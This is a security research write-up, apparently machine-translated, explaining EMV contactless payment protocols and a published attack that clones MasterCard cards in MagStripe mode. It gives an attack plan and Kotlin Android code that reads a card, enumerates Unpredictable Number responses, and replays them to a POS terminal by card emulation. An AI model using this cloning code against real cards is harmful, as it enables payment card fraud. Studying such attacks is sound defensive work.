It was always interesting to see what was going on with a bank card under the hood. How the bank card and POS terminal communication protocol is implemented, how it works and how secure it is. This opportunity appeared before me when I was an intern at Digital Security. As a result, when analyzing one known EMV card vulnerability in MagStripe mode, it was decided to implement a mobile application that is able to communicate with the terminal via a contactless interface, using its own commands and detailed analysis of requests and responses. And also try to implement the method of cloning MasterCard cards in MagStripe mode.
In this article I will try to describe what an EMV card is, how it works and how using Android you can try to clone your MasterCard card.
“There are some things that can't buy. For everything else, there's MasterCard')
What is an EMV card?
EMV is an international standard for bank cards with a chip.
E uropay +
M asterCard +
V ISA participated in the development of this standard, hence the name. Let's try to figure out how all the same card communicates with the POS-terminal on a contactless interface.
Let's start with the basics.
The non-contact EMV card at the physical level works in much the same way as an RFID tag. If the basis is that, the chip enters the electromagnetic field, and in a closed conducting circuit (in our case it will be an antenna located along the perimeter) placed in an alternating magnetic field, an alternating electric current is formed. This current charges a special capacitor connected in parallel to the resonant circuit of the card. The energy stored in the capacitor is used to perform various operations on the chip card. When the reader changes the electromagnetic field, the changes will immediately be noticeable on the chip. Using signal modulation, we can transmit information in binary form. If you connect a load resistance on the card and or change the capacitance of the capacitor, you can change the current in the circuit of the card, which will lead to a change of the electromagnetic field created by it in the area of the reader circuit, thus the card transmits data. The reader will need to detect these changes. Such physical interaction is governed by the ISO / IEC 14443
“Identification Cards - Contactless integrated circuit (s) cards - Proximity cards” standard.
The chip card itself is a smart card that runs JavaCard, a separate version of Java for platforms with small computing resources and support for cryptographic algorithms. On JavaCard applets are loaded, which are applications. There is also GlobalPlatform is a kind of standard for JavaCard, which provides the ability to securely manage data on the card and allows you to download, modify and delete applications on the card. In this article, we will not consider the security mechanisms of the smart card itself. It is enough to know that the protected data, for example, the private key and the secret master key of the card are in a protected place and it is impossible to pull them out with standard means.
I will also remind you a bit of terminology for those who are not familiar.
POS-terminal (Point of Sale) is a seller's device that reads a card and initiates a payment. Further we will call this device simply a terminal.
The issuer bank is the bank that issued your card.
The acquirer bank is a bank that issues POS-terminals to merchants and processes payments from them.
The payment system is the central link between the acquiring bank and the issuing bank, absolutely all payments pass through it, and it knows which bank should transfer money to which one. There are many payment systems in the world, except well-known
Visa and
MasterCard, there is also
American Express ,
China UnionPay and the Russian payment system
MIR .
Well, the card and reader can communicate. They send each other APDU commands as
Tag-Length-Value i.e. the name of the tag is transmitted in hexadecimal, its length and the value itself. All commands are described of course in the
documentation and look like this:

The standard EMV transaction goes through several stages, I will describe the full interaction algorithm in the case of a contact interface, the algorithm is somewhat shortened for a contactless interface:
- Application selection;
- Initialization of application processing;
- Read application data;
- Offline authentication;
- Handling restrictions;
- Check card holder;
- Risk management on the side of the terminal;
- Analysis of terminal actions;
- Risk management on the side of the card;
- Analysis of card actions;
- On-line processing;
- Completion of the operation.

Briefly consider each operation.
Select an application. It often happens that there can be several applications on one map. For example, a bank card and a ticket. And the terminal somehow needs to figure out where and which algorithm to use. To select an application, so-called
Application Identifier Codes (
Application Identifier - AID ) are used. To understand this, the terminal sends a
SELECT command. For example, the
AID of the Visa Classic card will look like this:
A0000000031010 . If several such codes come in response and the terminal is able to work with several applications, the terminal will display a list and prompt you to select the application we need. If the terminal does not support any of the application codes, then the operation will be rejected by the terminal.
Initialization processing application. Here, the geographical location is checked first. For example, Maestro Momentum cards can work for payment only in Russia. This stage was made in order to provide issuers with the opportunity to apply existing online risk management methods when conducting offline operations. At this stage, an EMV transaction can be canceled at the initiative of the card itself, if this type of operation is prohibited in this country of the world by the issuer. Next, the card transmits to the terminal a set of specially structured information containing a description of the card and application functionality.
Read application data. The terminal transmits various card data necessary for the transaction, for example, card number, expiration date, transaction counter and a lot of other data. Some of them will be discussed below.
Sample data:

The certificate of the public key of the issuer's bank and the card itself is also transferred. In order for the terminal to be able to verify the digital signature of some map data, the Public Key Infrastructure (
PKI ) is used. In short, the payment system has a pair of keys - public and private, and the payment system is for all participants of
CA (Center Authority) . In essence, the payment system for each issuer bank issues a new key pair, and at the same time forms the public key certificate of the issuing bank, signing it with the CA private key. Further, when the bank issues a new card, it accordingly generates a pair of keys for the card, and also forms a certificate of the public key of the card, signing it with the help of the bank's private key. In terminals, a public key certificate is usually sewn for various payment systems. Thus, when the card transmits the public key certificate of the issuing bank and the certificate of the card itself, the terminal can easily check the entire chain using the public key of the payment system. Using the public key of the payment system, the terminal first verifies the authenticity of the issuer's bank certificate, if it is genuine, then it can be trusted and now with the issuer's bank certificate you can verify the certificate of the card itself. More details in the article
about the safety of EMV .
Offline authentication. The terminal determines the type of method supported offline authentication. There is static (
Static Data Authentication - SDA ), dynamic (
Dynamic Data Authentication - DDA ) and combined (
Combined Data Authentication - CDA ). These methods are also PKI based.
SDA is simply signed data on the issuer's bank's private key, the
DDA terminal sends some random number and the card must sign it using its private key, and the terminal will verify this signature using the card certificate obtained earlier, thus the terminal will make sure that The card really has a private key - hence it is genuine.
CDA is simply a combination of both.
Handling restrictions. Here the terminal checks the previously obtained data from the card for a condition of suitability for this operation. For example, it checks the expiration / expiration dates for the
Application Expiration Date (Tag '5F24') and
Application Effective Date (Tag '5F25') applications . The application version is also checked. The results of operations carried out at this stage are also recorded in the
TVR report
(Terminal verification results) . As a result of this step, the transaction cannot be canceled, even if, for example, the application has expired.
Check card holder. Verification of the cardholder is made in order to authenticate the person who submitted the card and to verify whether he is the real cardholder. The EMV standard provides various cardholder verification methods (
Cardholder Verification Method ). Verification methods are defined both on the terminal and on the map. They are contained in the so-called
CVM lists . In the process of execution, the terminal and the card compare the received CVM sheets and select the general verification method.
List of supported verification methods:
- No CVM required ('011111'b);
- Fail CVM processing ('000000'b);
- Signature ('011110'b);
- Enciphered PIN verified online ('000010'b);
- Plaintext PIN verification performed by ICC ('000001'b);
- ICC and signature ('000011'b);
- ICC ('000100'b) Enciphered PIN verification performed by;
- Enciphered PIN verifi cation and signature ('000101'b).
Here
is also interesting information on this topic.
Risk management on the side of the terminal. At this stage, the terminal conducts an internal check of the parameters of the transaction, based on the settings of the risk management of the acquiring bank. Risk management procedures can be performed by the terminal at any time between the completion of the card data reading process and the generation of the first
GENERATE AC command by the terminal. Terminal-side risk management includes three mechanisms:
- control of the size of operations performed on the map ( Floor Limit Checking );
- random selection of transactions for online authorization of this transaction by the issuer ( Random Transaction Selection );
- check offline activity using the map ( Velocity Checking ).
Analysis of terminal actions. At this stage, the terminal analyzes the results of the previous steps of the transaction. Based on the results of the analysis, the terminal decides whether to conduct the operation online, allow it to be conducted offline or reject the operation.
Risk management on the side of the card. The card, having received from the
GENERATE AC command data relating to the transaction, the terminal and the results of the terminal checks, in turn, performs its own risk management procedures and makes its own decision about the method of completion of the operation.
Analysis of card actions. At this stage, the card completes the implementation of risk management procedures and generates a response cryptogram for the terminal. If the card decides to approve a transaction, then a
Transaction Certificate is formed. If the card decides to perform the operation in real time, then it forms an
ARQC (Authorization Request Cryptogram) . If the card uses alternative authorization methods, then
Application Authorization Referral is used . In case the card rejects the transaction, then
Application Authentication Cryptogram .
Another
ARPC cryptogram
(Authorization Response Cryptogram) is needed to authenticate the issuer. The issuer generates an ARPC cryptogram and sends the cryptogram to the card, if the card confirms the received cryptogram, then the issuer is authenticated by the card.
A little about the security of keys and mutual authentication of the card and the issuer from the book of I. M. Goldovsky:
The point of mutual authentication is that the card and the terminal authenticate each other using ARQC and ARPC cryptograms. Cryptograms are data generated using a secret key (which is known to the card and the bank to the issuer), transaction numbers, a random number generated by the terminal, as well as some transaction details, a terminal, and a card. In the case of ARPC, the authorization response code of the issuer is added to the listed data. Without knowing the secret key of a card to generate a cryptogram, it is impossible to calculate ARQC / ARPC values in the foreseeable time with the current level of technology, and therefore the fact of their successful verification indicates the authenticity of the card and the issuer. Online authentication is the most reliable way to authenticate a card. This is due to the fact that it is executed directly by the issuer, without an intermediary in the form of a terminal. In addition, for online authentication, the 3DES algorithm with a 112-bit temporary key is used, the cryptographic strength of which corresponds to the robustness of the RSA algorithm with the asymmetric key module length used for offline authentication of the card application is more than 1,700 bits. The use of asymmetric keys of such length on the map is still quite rare. Keys with a module length of 1024, 1152, or 1408 bits are commonly used.
In the end, the online transaction goes through the chain:
Map <-> POS-Terminal <-> Bank Acquirer <-> Payment System <-> Bank Issuer.
Clone MasterCard in MagStripe Mode
We proceed directly to the principle of cloning. This method of attacking contactless cards was published by two researchers
Michael Roland, Josef Langer of the University of Austria. It is based on a general principle called
Skimming . This is a scenario in which an attacker steals money from a bank card by reading (copying) information from this card. In general, it is important to keep the PIN secret and not to allow it to leak. But in the method of the Austrian guys, we do not need to know this. Payment card cloning is performed successfully for the kernel version of the EMV Contactless Kernel 2 application. The version of this protocol supports two modes of operation for contactless cards: EMV protocol
(MasterCard PayPass M / Chip) and
MagStripe (MasterCard PayPass MagStripe) mode.
MagStripe is a magnetic stripe support mode. This mode is implemented on MasterCard cards with a contactless interface. MagStripe mode is most likely needed for banks that find it difficult to transfer the entire infrastructure to support chipless contactless EMV transactions. By the way, Visa cards also have a similar mode of operation -
PayWave MSD (Magnetic Stripe Data) .
The transaction processing process for contactless cards is trimmed compared to chip cards and usually works in the following mode:
- The terminal sends the SELECT PPSE (Proximity Payment System Environment) command. The card sends a list of supported applications.
- The terminal sends a SELECT command. In response, receives the necessary details of the application.
- The terminal sends the GET_PROCESSING_OPTIONS command. The card answers what type of authentication it supports and whether there is verification of the cardholder there.
- The terminal sends the READ_RECORDS command. The card in response sends Track1 and Track2 almost the same as that recorded on the magnetic stripe of the card.
- The terminal sends the COMPUTE_CRYPTOGRAPHIC_CHECKSUM command. Which means that the card should, based on the transmitted Unpredictable Number, generate the value of CVC3.

How does all this look in real life?It looks like an
APDU command.
List of all tags .
APDU - Application Protocol Data Unit is a symbol of a frame with a command map or a response card.
On Habré there are a couple of articles on this topic
here and
here .
The card supports the special COMPUTE CRYPTOGRAPHIC CHECKSUM command, whose argument is the data defined in the Unpredictable Number Data Object (UDOL) object.
As a result, the card uses the 3DES algorithm and the secret key to calculate the CVC3 (Card Verification Code) dynamic value. The 3DES function concatenates UDOL data and transaction counters (Application Transaction Counter, ATC) as an argument.
Thus, the value of CVC3 is always dependent on UN and ATC objects.In other words, this command is needed for the card to generate some kind of “signature” in order for the issuer to verify the card. However, in this signature there is no signature of the transaction itself. The signature contains the
ATC values
- 2 bytes ,
CVC3 (Track1) - 2 bytes ,
CVC3 (Track2) - 2 bytes , which are generated by the card based on the secret key that the issuing bank and transaction count (ATC) also know. At the same time, for generating a signature, the POS terminal informs the
UN card
(Unpredictable Number) 4 bytes, which is also used in generating the signature. Unpredictable Number prevents the formation of authentication codes on a real card for later use in fraudulent transactions. We are strongly hampered by UN for an attack, since it is not possible to iterate over 4 bytes without going beyond the transaction counter. However, there are some weaknesses in this specification.
First, the specification limits the UN to a number encoding, namely the
Binary-Decimal Code (BCD) , which essentially means that if we look at such an encoded number in HEX, we will only see numbers from 0 to 9, all other values are considered as if forbidden. Thus, the number of UN is reduced from 4,294,967,295 to 99,999,999.
Secondly, the number of significant digits UN is determined by the card. Thus, depending on the special parameters in the tracks, the number of digits in the UN can be from 10 to 10,000, depending on the type of card, in practice, the most common is 1000 values.
Thus, the attack plan is as follows:- We read the card and find out the number of significant digits from the UN, which the terminal will provide
- We iterate over all UN, we get all possible values of the COMPUTE_CRYPTOGRAHIC_CHECKSUM function, store them in the appropriate table with the UN -> Result mapping
- We bring to the POS-terminal, find out the number that the POS-terminal asks for.
- Select the desired result from the table and substitute it in response to the terminal.
- The transaction goes away.
- PROFIT. But the success of the approval of the transaction is not guaranteed, since the issuer bank may reject such a transaction.

It is also worth noting that the transaction counter (ATC) prevents the reuse of previously used authentication codes, which means that if we used such an attack, you need to copy the card again, because the transaction counter was already used to obtain information and was used in the signature, which means that if we had a transaction counter of 1000, and after we sent the transaction to the bank, the bank will no longer accept transactions with a counter below <1001. In addition, the transaction counter is limited to 2 bytes, which means that we can perform no more than 65 card cloning cycles, after which the card will most likely stop working.
In most cases, the data transferred from the card is static for all transactions. Of course, except
COMPUTE_CRYPTOGRAPHIC_CHECKSUM . To generate a dynamic CVC3 code, the map application must be read by the
SELECT command, then
GET_PROCESSING_OPTIONS , and only then by
COMPUTE_CRYPTOGRACHIC_CHECKSUM and this is a rather important point. These three commands are required to generate CVC3. According to the experiment using only these three teams, the
search for 1000 values on the Google Galaxy Nexus S took only one minute.To work with the terminal and the card used the program
Terminal Simulator from MasterCard. It works great with various NFC readers and smart card readers. In addition, it is absolutely free. It allows you to test cards with different settings of the POS terminal and maintains a detailed log of all requests from the terminal and card responses. It can also be used to test an application on a phone operating in card mode.

For reading the card used NFC reader
ACR122 .

Now let's try to convert all this into code. We will write the application in the Kotlin language for Android. First we will try to describe the general structure of the team.
data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) }
First we need to set up work with NFC. On the phone, we can work in two modes. In card mode, this is when we respond to commands from the terminal, and in terminal mode when we send commands and read, for example, cards. Those. at first we can clone the map, and then make it so that we respond to requests from the terminal with already prepared commands.
Further simplified implementation of interaction with NFC:
private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null .... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv }
Here we describe the sequence of commands and enumeration of the Unpredictable Number values in the loop from 0 to 999, change the Nc command to “00000 $ {String.format ("% 03d ", i)}}." Replace (".. (?! $ ) ". toRegex ()," $ 0 "). And do not forget to perform GET_PROCESSING_OPTIONS each time before COMPUTE_CRYPTOGRAPHIC_CHECKSUM, otherwise the check amount will not be counted.
As a result, all this can be written to a file and used already when working with a real terminal. Here we get the name and card number, we can display it on the screen.
private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) // val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead() }
A set of commands that we need.
object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00") }
To implement the wiretapping of commands from the terminal, you must start your service and declare it in the manifest. In this service, a command from the terminal comes in processCommandApdu, we compare it with the one we have stored in the file, and give the answer, which is written in the next line.
<service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service>
class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray() }
A couple of screenshots from the application. Read the card and the parsing log:

Thus, you can simulate the work of a contactless EMV card on the phone with the card data. But fortunately or unfortunately for someone, this attack does not work in Russia. According to our experiments, the transaction all the time reached the issuing bank and was rejected by the bank itself. In addition, we could not conduct an offline transaction using MagStripe. However, such an attack may well be implemented in other countries where using MagStripe mode is quite common and the risk management algorithm is slightly different, for example in the USA.
References, by which this article appeared
Bank microprocessor cards / I. M. Goldovsky - M .: TsIPSiR: Alpina Pub licherz, 2010. - 686 p.
EMV project: step by stepResearch Austrian researchersLink to application codeTerminal Simulator.Thanks to
barracud4 for help in preparing for the article.